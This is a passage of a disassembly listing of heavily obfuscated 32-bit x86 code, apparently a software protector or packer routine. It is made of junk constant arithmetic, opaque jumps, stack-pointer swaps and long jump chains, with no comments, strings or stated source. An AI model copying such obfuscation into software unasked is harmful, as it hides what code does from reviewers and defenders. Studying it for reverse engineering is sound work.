loc_5A1A38:				; CODE XREF: sub_58A891+17BFFj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+102h+var_104+2]
		pop	esp
		push	68A4h
		mov	[esp+102h+var_104+2], edx
		not	[esp+102h+var_104+2]
		pop	edx
		push	ebp
		jmp	loc_5A9D5A
; ---------------------------------------------------------------------------


loc_5A1A59:				; CODE XREF: sub_58A891+17438j
		sub	esi, edi
		pop	edi
		jmp	loc_5A2BA7
; ---------------------------------------------------------------------------


loc_5A1A61:				; CODE XREF: sub_58A891+25060j
		mov	edx, [esp+0FEh+var_100+2]
		add	esp, 4
		jmp	loc_5A35DB
; ---------------------------------------------------------------------------


loc_5A1A6F:				; CODE XREF: sub_58A891+24BCCj
		mov	dx, 4831h
		inc	dx
		neg	dx
		push	ebx
		mov	bx, 13A1h
		sub	bx, 8BCEh
		add	dx, bx
		pop	ebx
		add	bp, dx
		pop	edx
		sub	bp, di
		sub	bp, 3FA1h
		jmp	loc_5A31CA
; ---------------------------------------------------------------------------


loc_5A1A97:				; CODE XREF: sub_58A891+23387j
		add	ecx, 60E032F4h
		not	ecx
		jmp	loc_5AAD5E
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, 0F2D4CFDh
		sub	eax, 6C4D452Eh
		add	eax, 10FB5693h
		jmp	loc_59DB0C
; ---------------------------------------------------------------------------


loc_5A1ABA:				; CODE XREF: sub_58A891+12EABj
		sub	edi, 25CD6F4Eh
		add	edi, edx
		jmp	loc_5A526F
; ---------------------------------------------------------------------------


loc_5A1AC7:				; CODE XREF: sub_58A891+17580j
		add	esp, 4
		pop	ecx
		add	al, 23h
		sub	al, bl
		sub	al, 23h
		sub	al, 2Bh
		sub	al, 0Eh
		jmp	loc_5A4B56
; ---------------------------------------------------------------------------


loc_5A1ADD:				; CODE XREF: sub_58A891+1239Bj
		xor	edi, 27950405h
		sub	ecx, edi
		pop	edi
		add	eax, ecx
		jmp	loc_5A0530
; ---------------------------------------------------------------------------


loc_5A1AED:				; CODE XREF: sub_58A891+1A562j
		mov	eax, 32990DE3h
		xor	eax, edi
		mov	edi, [esp+96h+var_98+2]
		jmp	loc_5A0B0C
; ---------------------------------------------------------------------------


loc_5A1AFC:				; CODE XREF: sub_58A891+2152Ej
		add	ebx, 11124D5Fh
		add	ebx, edx
		jmp	loc_59D52A
; ---------------------------------------------------------------------------


loc_5A1B09:				; CODE XREF: sub_58A891+20863j
		jl	loc_5AE9B8
		or	ebx, 7DBB0E72h
		jmp	loc_5AD024
; ---------------------------------------------------------------------------


loc_5A1B1A:				; CODE XREF: sub_58A891+2253Fj
		push	29ECh
		sub	esp, 4
		mov	[esp+9Eh+var_9E], esp
		add	[esp+9Eh+var_9E], 4
		jmp	loc_59E91C
; ---------------------------------------------------------------------------


loc_5A1B34:				; CODE XREF: sub_58A891+233D4j
		add	esp, 4
		add	esi, 4
		jmp	loc_5AC7C1
; ---------------------------------------------------------------------------


loc_5A1B45:				; CODE XREF: sub_58A891+150ACj
		add	edi, 3082DF88h
		mov	ebp, edi
		pop	edi
		jmp	loc_5B07EE
; ---------------------------------------------------------------------------


loc_5A1B53:				; CODE XREF: sub_58A891+1CBE8j
		add	ebx, 1C1016BAh
		sub	esp, 4
		jmp	loc_59EF42
; ---------------------------------------------------------------------------


loc_5A1B61:				; CODE XREF: sub_58A891+19779j
		mov	[esp+26h+var_28+2], ebx
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], eax
		push	ebx
		jmp	loc_5A7BA9
; ---------------------------------------------------------------------------


loc_5A1B70:				; CODE XREF: sub_58A891+13C2Fj
		sub	ecx, 61AC650Eh
		add	ecx, esi
		add	ecx, 61AC650Eh
		jmp	loc_5B01B8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+2Eh+var_30+2]
		sub	esp, 4
		mov	[esp+32h+var_34+2], edi
		push	esp
		jmp	loc_5B20CD
; ---------------------------------------------------------------------------


loc_5A1B93:				; CODE XREF: sub_58A891+197D3j
		add	esp, 4
		add	esi, ebp
		mov	ebp, [esp+32h+var_34+2]
		add	esp, 4
		push	763h
		jmp	loc_5A743F
; ---------------------------------------------------------------------------


loc_5A1BAB:				; CODE XREF: sub_58A891+21EEEj
		xchg	ecx, ebx
		not	ebx
		push	ecx
		mov	ecx, 28002061h
		xor	ebx, ecx
		pop	ecx
		jmp	loc_5AFB90
; ---------------------------------------------------------------------------


loc_5A1BBD:				; CODE XREF: sub_58A891+277A6j
		sub	esi, 32173B3h
		jb	loc_5A7ED1
		push	edi
		push	ebp
		jmp	loc_5A7224
; ---------------------------------------------------------------------------


loc_5A1BD0:				; CODE XREF: sub_58A891+1CDECj
		xchg	edx, [esp+3Ah+var_3C+2]
		pop	esp
		mov	[esp+36h+var_38+2], eax
		jmp	loc_59DE10
; ---------------------------------------------------------------------------


loc_5A1BDC:				; CODE XREF: sub_58A891+24413j
		shl	edx, 1
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], ebx
		mov	ebx, 24h
		add	ebx, edi
		push	ecx
		push	edi
		mov	edi, 49D4204Fh
		dec	edi
		shr	edi, 1
		jz	loc_5A80A3
		neg	edi
		jmp	loc_5AECA9
; ---------------------------------------------------------------------------


loc_5A1C05:				; CODE XREF: sub_58A891+25113j
		sub	edx, ebp
		sub	edx, 20401777h
		jmp	loc_5A56A4
; ---------------------------------------------------------------------------


loc_5A1C12:				; CODE XREF: sub_58A891+22E27j
		mov	edx, 7C4734BAh
		jmp	loc_5A9EC3
; ---------------------------------------------------------------------------


loc_5A1C1C:				; CODE XREF: sub_58A891+1D395j
		push	ebx
		jmp	loc_5A6889
; ---------------------------------------------------------------------------


loc_5A1C22:				; CODE XREF: sub_58A891+1BD14j
		add	ebp, 2
		xchg	ebp, [esp+46h+var_48+2]
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		push	4E37h
		mov	[esp+46h+var_48+2], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 665B0F50h
		sub	ecx, 69081ABDh
		shl	ecx, 3
		sub	ecx, 0EA97A494h
		add	edi, ecx
		pop	ecx
		push	49B3h
		mov	[esp+4Ah+var_4C+2], esi
		push	eax
		push	ebx
		mov	ebx, 74591C34h
		jmp	loc_5A3127
; ---------------------------------------------------------------------------


loc_5A1C65:				; CODE XREF: sub_58A891+220C2j
		mov	[esp+52h+var_54+2], ebp
		mov	ebp, 0FDB1963h
		push	ebp
		pop	ebx
		pop	ebp
		push	esi
		push	ecx
		jmp	loc_5A9B55
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	7761h
		mov	[esp+5Ah+var_5C+2], ebx
		push	esp
		mov	ebx, [esp+5Eh+var_60+2]
		add	esp, 4
		push	ebp
		mov	ebp, 770D793Dh
		neg	ebp
		sub	ebp, 88F286BFh
		jmp	loc_5AC444
; ---------------------------------------------------------------------------


loc_5A1C9F:				; CODE XREF: sub_58A891+1E4DAj
		mov	esp, [esp+5Eh+var_60+2]
		btc	word ptr [esp+5Eh+var_60+2], ax
		pushf
		jmp	loc_5A17FD
; ---------------------------------------------------------------------------


loc_5A1CAD:				; CODE XREF: sub_58A891+198B2j
		dec	bl
		inc	bl
		push	small 446Bh
		jmp	loc_5AE473
; ---------------------------------------------------------------------------


loc_5A1CBA:				; CODE XREF: sub_58A891+1A3A1j
		jge	loc_5ADDA4
		shr	esi, 7
		push	edi
		mov	edi, 0A317ADB6h
		jmp	loc_5A1A59
; ---------------------------------------------------------------------------


loc_5A1CCE:				; CODE XREF: sub_58A891+1B458j
		shr	ecx, 7
		jnp	loc_5A9CFC
		inc	ecx
		jp	loc_5A80F2
		or	ecx, 2FB446F4h


loc_5A1CE4:				; CODE XREF: sub_58A891+1DD17j
					; sub_58A891+286B3j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+6Ch+var_6C]
		pop	esp
		xchg	ecx, [esp+68h+var_68]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5AEEB6
; ---------------------------------------------------------------------------


loc_5A1D06:				; CODE XREF: sub_58A891+214B6j
		mov	esi, edx
		pop	edx
		jmp	loc_5A61A3
; ---------------------------------------------------------------------------


loc_5A1D0E:				; CODE XREF: sub_58A891+1CBDDj
		add	esp, 4
		sub	edi, 2BA2467Fh
		jmp	loc_5AB587
; ---------------------------------------------------------------------------


loc_5A1D1F:				; CODE XREF: sub_58A891+13663j
		pop	edi
		xchg	ebx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		push	[esp+1Ah+var_1C+2]
		push	[esp+1Eh+var_20+2]
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1D3B:				; CODE XREF: sub_58A891+15776j
		push	1C28h
		mov	[esp+62h+var_64+2], esi
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_5A009F
; ---------------------------------------------------------------------------


loc_5A1D4F:				; CODE XREF: sub_58A891+14B1Fj
		push	esi
		mov	esi, 27285E71h
		add	edx, esi
		pop	esi
		jmp	loc_5AA043
; ---------------------------------------------------------------------------
		push	[esp+74h+var_74]
		pop	eax
		jmp	loc_5A0987
; ---------------------------------------------------------------------------


loc_5A1D66:				; CODE XREF: sub_58A891+18BA3j
		pop	edx
		jmp	loc_5A1382
; ---------------------------------------------------------------------------


loc_5A1D6C:				; CODE XREF: sub_58A891:loc_5A92B1j
		shl	esi, 2
		sub	esi, 32BE38ECh
		jmp	loc_59DD34
; ---------------------------------------------------------------------------


loc_5A1D7A:				; CODE XREF: sub_58A891+16AF4j
		mov	[esp+12h+var_14+2], ebx
		mov	ebx, 484466A6h
		jmp	loc_5AFA5D
; ---------------------------------------------------------------------------


loc_5A1D87:				; CODE XREF: sub_58A891+11938j
		add	ebx, ecx
		jmp	loc_5A30EE
; ---------------------------------------------------------------------------


loc_5A1D8E:				; CODE XREF: sub_58A891+15B9Bj
		shr	ecx, 4
		sub	ecx, 643715D7h
		jo	loc_5A6417
		xor	ecx, 76CD8EF7h
		mov	eax, ecx
		pop	ecx
		jmp	loc_5A3879
; ---------------------------------------------------------------------------


loc_5A1DAB:				; CODE XREF: sub_58A891+20363j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0D6h+var_D6]
		jmp	loc_5B233D
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1DC5:				; CODE XREF: sub_58A891+1CA21j
		pop	ecx
		pop	[esp+0CEh+var_CE]
		pop	esp
		mov	[esp+0C6h+var_C6], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		jmp	loc_5B12D3
; ---------------------------------------------------------------------------


loc_5A1DDA:				; CODE XREF: sub_58A891+23FB4j
		sub	esp, 4
		mov	[esp+0CEh+var_CE], ecx
		mov	cl, 0CAh
		shl	cl, 5
		push	ebx
		mov	bh, 0Bh
		dec	bh
		xor	bh, 86h
		not	bh
		xor	bh, 45h
		xor	cl, bh
		pop	ebx
		xor	cl, 5Dh
		sub	al, 0B1h
		sub	al, 0D7h
		add	al, cl
		add	al, 0D7h
		push	edx
		mov	dl, 92h
		or	dl, 42h
		shl	dl, 2
		add	dl, 69h
		add	al, dl
		mov	edx, [esp+0D2h+var_D2]
		jmp	loc_5A1AC7
; ---------------------------------------------------------------------------


loc_5A1E16:				; CODE XREF: sub_58A891+21927j
		add	ebx, 26685898h
		push	eax
		push	ebp
		mov	ebp, 6BD6339Fh
		mov	eax, 0F3F448Ah
		xor	eax, ebp
		mov	ebp, [esp+0DAh+var_DA]
		sub	esp, 4
		mov	[esp+0DEh+var_DE], esi
		mov	esi, esp
		jmp	loc_5A873F
; ---------------------------------------------------------------------------


loc_5A1E3D:				; CODE XREF: sub_58A891+15DF9j
		add	ebp, 16E16BB9h
		add	ebp, edx
		sub	ebp, 16E16BB9h
		push	edi
		mov	edi, 587A7441h
		jmp	loc_5B17A2
; ---------------------------------------------------------------------------


loc_5A1E56:				; CODE XREF: sub_58A891+16BE9j
		push	1EC8h
		jmp	loc_5B23FF
; ---------------------------------------------------------------------------


loc_5A1E60:				; CODE XREF: sub_58A891+14427j
		sub	esp, 4
		mov	[esp+9Eh+var_9E], ebp
		mov	ebp, 4
		jmp	loc_5ABC29
; ---------------------------------------------------------------------------


loc_5A1E73:				; CODE XREF: sub_58A891+26523j
		mov	[esp+9Eh+var_9E], ecx
		push	ecx
		jmp	loc_5A5162
; ---------------------------------------------------------------------------


loc_5A1E7C:				; CODE XREF: sub_58A891+1B4E0j
		and	edx, 4C015CF0h
		and	edx, 14F11CB5h
		push	ecx
		jmp	loc_5B2EDF
; ---------------------------------------------------------------------------


loc_5A1E8E:				; CODE XREF: sub_58A891+21366j
		mov	bl, 0CEh
		mov	dl, bl
		pop	bx
		xchg	ah, dl
		dec	ah
		xchg	ah, dl
		add	dl, 0Ah
		xchg	cl, dl
		not	cl
		xchg	cl, dl
		jmp	loc_5B0C29
; ---------------------------------------------------------------------------


loc_5A1EA8:				; CODE XREF: sub_58A891+1D9BAj
		mov	ecx, 2D7B147Ch
		sub	ecx, 0B0A8A998h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5AF414
; ---------------------------------------------------------------------------


loc_5A1EBB:				; CODE XREF: sub_58A891+23E66j
		add	ecx, edi
		pop	edi
		jmp	loc_5A6558
; ---------------------------------------------------------------------------


loc_5A1EC3:				; CODE XREF: sub_58A891+132A3j
		xor	al, ch
		pop	ecx
		add	al, 50h
		jmp	loc_5AC363
; ---------------------------------------------------------------------------


loc_5A1ECD:				; CODE XREF: sub_58A891+27051j
		idiv	cx
		push	320h
		mov	[esp+12h+var_14+2], edi
		push	esp
		push	[esp+16h+var_18+2]
		mov	edi, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 7CDB4DA7h
		jmp	loc_59C06F
; ---------------------------------------------------------------------------


loc_5A1EF3:				; CODE XREF: sub_58A891+15C4Dj
		pop	edi
		dec	edi
		jo	loc_5B0C1B
		shr	edi, 5
		jnp	loc_5A18E3
		jmp	loc_5AD550
; ---------------------------------------------------------------------------


loc_5A1F09:				; CODE XREF: sub_58A891+2345Cj
		sub	eax, 0AF66042h
		mov	ebx, [esp+0DAh+var_DA]
		add	esp, 4
		push	6960h
		jmp	loc_5A400F
; ---------------------------------------------------------------------------


loc_5A1F21:				; CODE XREF: sub_58A891+2669Dj
		sub	esi, edx
		jmp	loc_5A64B7
; ---------------------------------------------------------------------------


loc_5A1F28:				; CODE XREF: sub_58A891+1361Fj
					; sub_58A891+26406j
		pop	edx
		add	eax, ebx
		mov	ebx, [esp+22h+var_24+2]
		jmp	loc_5A1400
; ---------------------------------------------------------------------------


loc_5A1F33:				; CODE XREF: sub_58A891+1F893j
		sub	edi, 0DB17D52h
		mov	esi, [esp+22h+var_24+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A5B1C
; ---------------------------------------------------------------------------


loc_5A1F44:				; CODE XREF: sub_58A891+12D80j
					; sub_58A891+22AF5j
		push	ebp
		mov	ebp, 44E7459Bh
		jmp	loc_5ACDE9
; ---------------------------------------------------------------------------


loc_5A1F4F:				; CODE XREF: sub_58A891+1AF4Cj
		pop	eax
		push	3198h
		jmp	loc_5AE1CB
; ---------------------------------------------------------------------------


loc_5A1F5A:				; CODE XREF: sub_58A891+141DFj
		inc	esi
		shl	esi, 8
		neg	esi
		shl	esi, 4
		add	esi, 1E006F8Ah
		sub	esi, 3A17418Eh
		jmp	loc_5A5999
; ---------------------------------------------------------------------------


loc_5A1F74:				; CODE XREF: sub_58A891+168F8j
		push	4B80h
		mov	[esp+62h+var_64+2], ecx
		mov	ecx, 586855B7h
		jmp	loc_59C1C3
; ---------------------------------------------------------------------------


loc_5A1F86:				; CODE XREF: sub_58A891+20EFAj
		xor	edx, 2B982C2Ch
		push	ebx
		mov	ebx, 42E54339h
		shl	ebx, 7
		sub	ebx, 0CEC4E657h
		add	edx, ebx
		pop	ebx
		add	edi, edx
		pop	edx
		mov	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 29A74D0Eh
		xor	ebx, 517A3F17h
		sub	eax, ebx
		jmp	loc_59D4FD
; ---------------------------------------------------------------------------


loc_5A1FB7:				; CODE XREF: sub_58A891+13A52j
		add	ebx, 37A8EC20h
		sub	edi, ebx
		pop	ebx
		add	edi, 246747FBh
		push	esi
		mov	esi, 85D262EDh
		sub	edi, esi
		pop	esi
		add	ecx, edi
		push	[esp+3Eh+var_40+2]
		push	[esp+42h+var_44+2]
		pop	edi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+46h+var_48+2]
		pop	esp
		add	esp, 4
		add	ecx, 2
		push	ecx
		push	[esp+42h+var_40+2]
		mov	ecx, [esp+46h+var_48+2]
		add	esp, 4
		pop	[esp+42h+var_44+2]
		pop	esp
		mov	ax, word ptr [esp+3Ah+var_3C+2]
		push	48A6h
		mov	[esp+3Eh+var_40+2], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 2
		jmp	loc_5A2DF0
; ---------------------------------------------------------------------------


loc_5A2025:				; CODE XREF: sub_58A891+1353Cj
		push	ebx
		push	eax
		push	ebx
		mov	bl, 7Eh
		mov	al, bl
		pop	ebx
		not	al
		jmp	loc_5ABD74
; ---------------------------------------------------------------------------


loc_5A2034:				; CODE XREF: sub_58A891+16536j
		dec	eax
		inc	eax
		jns	loc_5A6BDF
		not	eax
		sub	eax, 74591C31h
		mov	esi, eax
		mov	eax, [esp+52h+var_54+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+56h+var_58+2]
		pop	esp
		jmp	loc_5A8EA9
; ---------------------------------------------------------------------------


loc_5A205C:				; CODE XREF: sub_58A891+1695Aj
		pop	ebx
		push	ebp
		xor	[esp+64h+var_64], 5DB8666Dh
		pop	edi
		xor	edi, 5DB8666Dh
		mov	ebp, [esp+60h+var_60]
		jmp	loc_5AF032
; ---------------------------------------------------------------------------


loc_5A2074:				; CODE XREF: sub_58A891+12F1Fj
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xor	edx, [esp+0ACh+var_AE+2]
		xor	[esp+0ACh+var_AE+2], edx
		xor	edx, [esp+0ACh+var_AE+2]
		pop	esp
		push	edi
		push	461Dh
		jmp	loc_5A3D30
; ---------------------------------------------------------------------------


loc_5A2098:				; CODE XREF: sub_58A891+1E959j
		mov	edx, 0C41043A7h
		sub	edx, esi
		pop	esi
		jmp	loc_5A6BA7
; ---------------------------------------------------------------------------


loc_5A20A5:				; CODE XREF: sub_58A891+21C09j
		push	esp
		push	[esp+0B0h+var_B2+2]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		push	5EE5h
		mov	[esp+0B0h+var_B2+2], ecx
		jmp	loc_5A4E0F
; ---------------------------------------------------------------------------


loc_5A20C3:				; CODE XREF: sub_58A891+16BBBj
		add	esi, edi
		pop	edi
		add	esi, 4
		xor	esi, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], esi
		xor	esi, [esp+2Ah+var_2C+2]
		pop	esp
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], eax
		jmp	loc_5A0448
; ---------------------------------------------------------------------------


loc_5A20E1:				; CODE XREF: sub_58A891+1A4B0j
		dec	esi
		add	esi, 7B2B0256h
		jmp	loc_5ADAE1
; ---------------------------------------------------------------------------


loc_5A20ED:				; CODE XREF: sub_58A891+26580j
		push	eax
		push	edx
		jmp	loc_59FD65
; ---------------------------------------------------------------------------


loc_5A20F4:				; CODE XREF: sub_58A891+283BEj
		add	ecx, 3845057Eh
		jo	loc_5A0936
		xor	ecx, 0EA065628h
		mov	ebp, ecx
		jmp	loc_59E641
; ---------------------------------------------------------------------------
		push	ebp


loc_5A210E:				; CODE XREF: sub_58A891+22F7Bj
					; sub_58A891:loc_5B1453j
		pop	edi
		jmp	loc_5AFD60
; ---------------------------------------------------------------------------


loc_5A2114:				; CODE XREF: sub_58A891+277EBj
		pop	esi
		push	ebx
		jmp	loc_5AB827
; ---------------------------------------------------------------------------


loc_5A211B:				; CODE XREF: sub_58A891+1814Fj
		xor	edi, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		inc	[esp+32h+var_34+2]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A212A:				; CODE XREF: sub_58A891+24C69j
		or	ch, 0E9h
		xor	ch, 0Fh
		jmp	loc_5A58D8
; ---------------------------------------------------------------------------


loc_5A2135:				; CODE XREF: sub_58A891+12B0Cj
		xor	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+26h+var_28+2], edx
		xor	[esp+26h+var_28+2], 73E3716Eh
		pop	esi
		xor	esi, 73E3716Eh
		mov	edx, [esp+22h+var_24+2]
		add	esp, 4
		and	ecx, esi
		push	[esp+1Eh+var_20+2]
		pop	esi
		add	esp, 4
		jmp	loc_5A870D
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 93h
		sub	esp, 4
		jmp	loc_5AFC15
; ---------------------------------------------------------------------------


loc_5A2171:				; CODE XREF: sub_58A891+1C825j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		mov	ebx, [esp+26h+var_28+2]
		jmp	loc_5A6A98
; ---------------------------------------------------------------------------


loc_5A218D:				; CODE XREF: sub_58A891+25D3Cj
		pop	ecx
		or	ecx, 65B97759h
		jle	loc_5A3AE2
		add	ecx, 53087977h
		sub	ecx, 25EF4A10h
		jmp	loc_5AF2EB
; ---------------------------------------------------------------------------


loc_5A21AB:				; CODE XREF: sub_58A891+1C32Aj
		pop	ebx
		pop	[esp+1Eh+var_20+2]
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		not	ecx
		xchg	ecx, ebx
		xor	[esp+1Ah+var_1C+2], ebx
		xor	ebx, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ebx
		mov	eax, [esp+1Ah+var_1C+2]
		push	600Dh
		mov	[esp+1Eh+var_20+2], edi
		jmp	loc_5AB511
; ---------------------------------------------------------------------------


loc_5A21D0:				; CODE XREF: sub_58A891+1BBCAj
		xor	edi, eax
		pop	eax
		add	ecx, 6CF359A8h
		add	ecx, edi
		jmp	loc_5A0A3D
; ---------------------------------------------------------------------------


loc_5A21E0:				; CODE XREF: sub_58A891+27A83j
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		mov	edi, [esp+16h+var_18+2]
		jmp	loc_5A5933
; ---------------------------------------------------------------------------


loc_5A21EE:				; CODE XREF: sub_58A891+1913Ej
		mov	esp, [esp+16h+var_18+2]
		mov	[esp+16h+var_18+2], edx
		jmp	loc_5AD67A
; ---------------------------------------------------------------------------


loc_5A21F9:				; CODE XREF: sub_58A891+123B5j
		mov	ebx, 4AFB045Ah
		mov	eax, 0AFA87FBDh
		sub	eax, ebx
		pop	ebx
		inc	eax
		jmp	loc_5A6CE2
; ---------------------------------------------------------------------------


loc_5A220C:				; CODE XREF: sub_58A891+26EE9j
		add	ebp, 52E07CAAh
		and	ebp, 3CB40BC7h
		add	ebp, 3C0F5C46h
		xor	ecx, ebp
		pop	ebp
		jmp	loc_5A2783
; ---------------------------------------------------------------------------


loc_5A2226:				; CODE XREF: sub_58A891+15957j
		push	eax
		jmp	loc_5AF3B0
; ---------------------------------------------------------------------------


loc_5A222C:				; CODE XREF: sub_58A891+1504Fj
		push	ebx
		push	edx
		push	48C862BCh
		mov	edx, [esp+56h+var_58+2]
		add	esp, 4
		sub	edx, 449D41EBh
		mov	ebx, edx
		pop	edx
		dec	ebx
		add	ebx, 336E220Eh
		push	ebx
		sub	[esp+52h+var_54+2], 1
		pop	ebx
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		inc	ebx
		dec	ebx
		jmp	loc_5ACA31
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+4Eh+var_50+2]
		push	eax
		push	esp
		pop	eax
		push	70FAh
		mov	[esp+56h+var_58+2], ebx
		jmp	loc_5A7165
; ---------------------------------------------------------------------------


loc_5A2273:				; CODE XREF: sub_58A891+128F9j
		push	[esp+0AAh+var_A6]
		pop	ecx
		pop	[esp+0AAh+var_AA]
		jmp	loc_5A66D1
; ---------------------------------------------------------------------------


loc_5A2280:				; CODE XREF: sub_58A891+159DDj
		xor	edi, 5CF70455h
		jmp	loc_5AE294
; ---------------------------------------------------------------------------


loc_5A228B:				; CODE XREF: sub_58A891+27D19j
		xor	[esp+0D2h+var_CE], ecx
		mov	ecx, [esp+0D2h+var_D2]
		add	esp, 4
		push	[esp+0CEh+var_CE]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 0EF71C8h
		xor	ecx, ebx
		jmp	loc_5A1327
; ---------------------------------------------------------------------------


loc_5A22AF:				; CODE XREF: sub_58A891+279ABj
		push	edx
		push	esi
		push	794Eh
		jmp	loc_5ACA7D
; ---------------------------------------------------------------------------


loc_5A22BB:				; CODE XREF: sub_58A891:loc_5B105Dj
		inc	bl
		js	loc_5A6A2E
		push	ecx
		mov	cl, 7Bh
		shr	cl, 7
		xor	cl, 63h
		inc	cl
		pop	esi


loc_5A22CF:				; CODE XREF: sub_58A891+14176j
		not	ebx
		add	ebx, 0E6E7DF78h
		xor	eax, ebx
		pop	ebx
		or	eax, 713E13E6h
		xor	eax, 299E00B5h
		or	eax, 554F44E0h
		and	eax, 525C0AA6h
		jmp	loc_5AB084
; ---------------------------------------------------------------------------


loc_5A22F3:				; CODE XREF: sub_58A891+241BCj
		push	[esp+0D6h+var_D6]
		pop	ecx
		add	esp, 4
		xor	ebx, 60AC160Fh
		jmp	loc_5A85BA
; ---------------------------------------------------------------------------


loc_5A2308:				; CODE XREF: sub_58A891+153F6j
		add	edi, esi
		add	edi, 788A2032h
		add	edi, 314A2DE8h
		pop	esi
		push	edx
		push	3FC534F3h
		mov	edx, [esp+1Eh+var_20+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+26h+var_24+2]
		jmp	loc_59F054
; ---------------------------------------------------------------------------


loc_5A2336:				; CODE XREF: sub_58A891:loc_5A8BABj
		add	di, 29B7h
		jge	loc_5A42B0
		jmp	loc_5A65EF
; ---------------------------------------------------------------------------
		dec	edi
		push	7B81h
		mov	[esp+2Eh+var_30+2], esi


loc_5A234F:				; CODE XREF: sub_58A891+1454Cj
		mov	bh, 7
		neg	bh
		jmp	loc_59ED6C
; ---------------------------------------------------------------------------


loc_5A2358:				; CODE XREF: sub_58A891+1C998j
		mov	edi, 784F1AB9h
		xor	edi, ebp
		pop	ebp
		add	edi, 1DC13008h
		jmp	loc_5A991E
; ---------------------------------------------------------------------------


loc_5A236B:				; CODE XREF: sub_58A891+15AF9j
		sub	esi, 92401Ch
		add	edx, esi
		pop	esi
		jmp	loc_5AE504
; ---------------------------------------------------------------------------


loc_5A2379:				; CODE XREF: sub_58A891+1F1C4j
		push	ebp
		jmp	loc_5AA89C
; ---------------------------------------------------------------------------


loc_5A237F:				; CODE XREF: sub_58A891+20071j
		push	[esp+0C2h+var_BE]
		mov	eax, [esp+0C6h+var_C6]
		jmp	loc_5AF471
; ---------------------------------------------------------------------------


loc_5A238B:				; CODE XREF: sub_58A891+1CBD4j
		sub	esp, 4
		mov	[esp+0CAh+var_CA], ebx
		jmp	loc_59F0E6
; ---------------------------------------------------------------------------


loc_5A2399:				; CODE XREF: sub_58A891+1DAF3j
		mov	ecx, 6DAC063Ch
		dec	ecx
		add	ecx, 25F35A8Bh
		jmp	loc_5A158E
; ---------------------------------------------------------------------------


loc_5A23AA:				; CODE XREF: sub_58A891+1C374j
		xchg	ebx, [esp+0CAh+var_CA]
		jmp	loc_5A2632
; ---------------------------------------------------------------------------


loc_5A23B2:				; CODE XREF: sub_58A891+2312Aj
		pop	ebp
		sub	edi, 4
		jmp	loc_5A40C7
; ---------------------------------------------------------------------------


loc_5A23BB:				; CODE XREF: sub_58A891+1989Dj
		add	edi, ebp
		jmp	loc_5ACD39
; ---------------------------------------------------------------------------


loc_5A23C2:				; CODE XREF: sub_58A891+2362Bj
		sub	al, dh
		mov	edx, [esp+0C6h+var_C6]
		push	71DEh
		mov	[esp+0CAh+var_CA], ebp
		jmp	loc_5A416B
; ---------------------------------------------------------------------------


loc_5A23D4:				; CODE XREF: sub_58A891+21ECCj
		sub	bh, 0FCh
		add	dh, bh
		pop	ebx
		push	small 793Ah
		jmp	loc_59D4F3
; ---------------------------------------------------------------------------


loc_5A23E3:				; CODE XREF: sub_58A891+281E0j
		push	[esp+0C8h+var_CA+2]
		jmp	loc_59D9C3
; ---------------------------------------------------------------------------


loc_5A23EB:				; CODE XREF: sub_58A891+1FF66j
		jnp	loc_59EFA9
		inc	edi
		jz	loc_5B0640
		add	edi, 1
		push	ecx


loc_5A23FC:				; CODE XREF: sub_58A891+13097j
		mov	ebx, edi
		pop	edi
		jmp	loc_5A86A2
; ---------------------------------------------------------------------------


loc_5A2404:				; CODE XREF: sub_58A891+20642j
		mov	eax, 74BF54BEh
		shl	eax, 1
		or	eax, 0B427F18h
		sub	eax, 80B4ECFDh
		add	ebx, eax
		pop	eax
		pop	edx
		jmp	loc_59E269
; ---------------------------------------------------------------------------


loc_5A241E:				; CODE XREF: sub_58A891:loc_5A9B82j
		push	edx
		mov	edx, 0F3E7ED81h
		jmp	loc_5A1941
; ---------------------------------------------------------------------------


